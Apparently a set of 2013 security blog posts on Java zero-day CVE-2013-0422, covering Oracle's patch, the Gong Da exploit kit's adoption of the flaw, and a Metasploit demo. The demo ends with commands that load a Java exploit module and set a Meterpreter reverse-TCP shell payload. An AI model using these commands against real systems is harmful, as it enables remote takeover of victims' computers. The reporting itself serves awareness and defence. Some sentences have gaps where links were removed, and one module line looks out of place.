Java Version 7 Update 11 Patch Oracle CVE-2013-0422 0day

Oracle has release an out-of-band patch, Java SE 7 Update 11, in order to patch the latest 0day, aka CVE-2013-0422, found massively exploited in the wild by kafeine. This update is done through an Oracle Security Alert regarding CVE-2013-0422. Oracle confirm that Java version 6, 5 and 4 are not vulnerables.


As always Oracle mention that the vulnerabilities are not applicable to Java running on servers, standalone Java desktop applications or embedded Java applications. But Oracle seem to forget that servers could crawl Internet, and that Java could be used to fetch web pages…

One interesting point is that Oracle push the default security level, introduced in version 7 Update 10, from “Medium” to “High“. With the “High” setting, the user is always prompted before any unsigned Java applet or Java Web Start application is run. This setting is looking like the default “Click-to-play” functionality introduced into Firefox and into Chrome.

Another interesting point, is that this update is fixing two vulnerabilities, CVE-2013-0422 known through the Java 0day discovery, but also CVE-2012-3174 who has a base CVSS score of 10.0. Ben Murphy, via TippingPoint (ZDI…), is credited for the vulnerabilities. CVE-2012-3174 is assigned since 6 Jun 2012 !!!

So hopefully, Oracle has release a patch, I strongly advise you to patch asap !

Gong Da / Gondad Exploit Pack Add Java CVE-2013-0422 support

If you are working in computer security and still don’t have hear about the latest Oracle Java 0day, aka CVE-2013-0422, then you should change you job ! This last Oracle Java 0day was discovered massively exploited in exploit kits by @kafeine the 10th January. Other exploit kits have quickly add support of this new vulnerability, like Gong Da exploit kit.


This new version was discovered on “hxxp://” a web site how is actually still online.

gond-da-exploit-kit-CVE-2013-0422-1” is hosted on, in KR and this domain name seem to be associated with a legit compromised web site.

The “m.html” file containing JavaScript code obfuscated by “JSXX VIP JS Obfuscator“, but traditional traces if this obfuscator are no more available.

After de-obfuscation of the “m.html” file you can see that Gong Da Pack has involve to the following diagram.

Gong Da EK - 1.3

Here under some information s regarding the different files:

  • EnKi2.jpg (aka CVE-2011-3544) : 8/46 on
  • cLxmGk3.jpg (aka CVE-2012-0507) : 11/46 on
  • OLluRM4.jpg (aka CVE-2012-1723) : 20/46 on
  • GPUrKz2.jpg (aka CVE-2012-4681) : 29/45 on
  • PBLO5.jpg (aka CVE-2012-5076) : 12/46 on
  • Nuwm7.jpg (aka CVE-2013-0422): 6/46 on

Java Applet JMX 0day Remote Code Execution Metasploit Demo

Timeline :

Vulnerability discovered exploited in the wild by kafeine the 2013-01-10
Metasploit PoC provided the 2013-01-10

PoC provided by :

juan vazquez

Reference(s) :

0 day 1.7u10 spotted in the Wild – Disable Java Plugin NOW !

Affected version(s) :

Oracle Java SE 7 Update 10 and bellow

Tested on Windows 8 Pro with :

Internet Explorer 10
Oracle Java SE 7 Update 10

Description :

This module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in January of 2013. The vulnerability affects Java version 7u10 and earlier.

Commands :

use exploit/windows/browser/ie_cbutton_uaf
use exploit/multi/browser/java_jre17_jmxbean
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp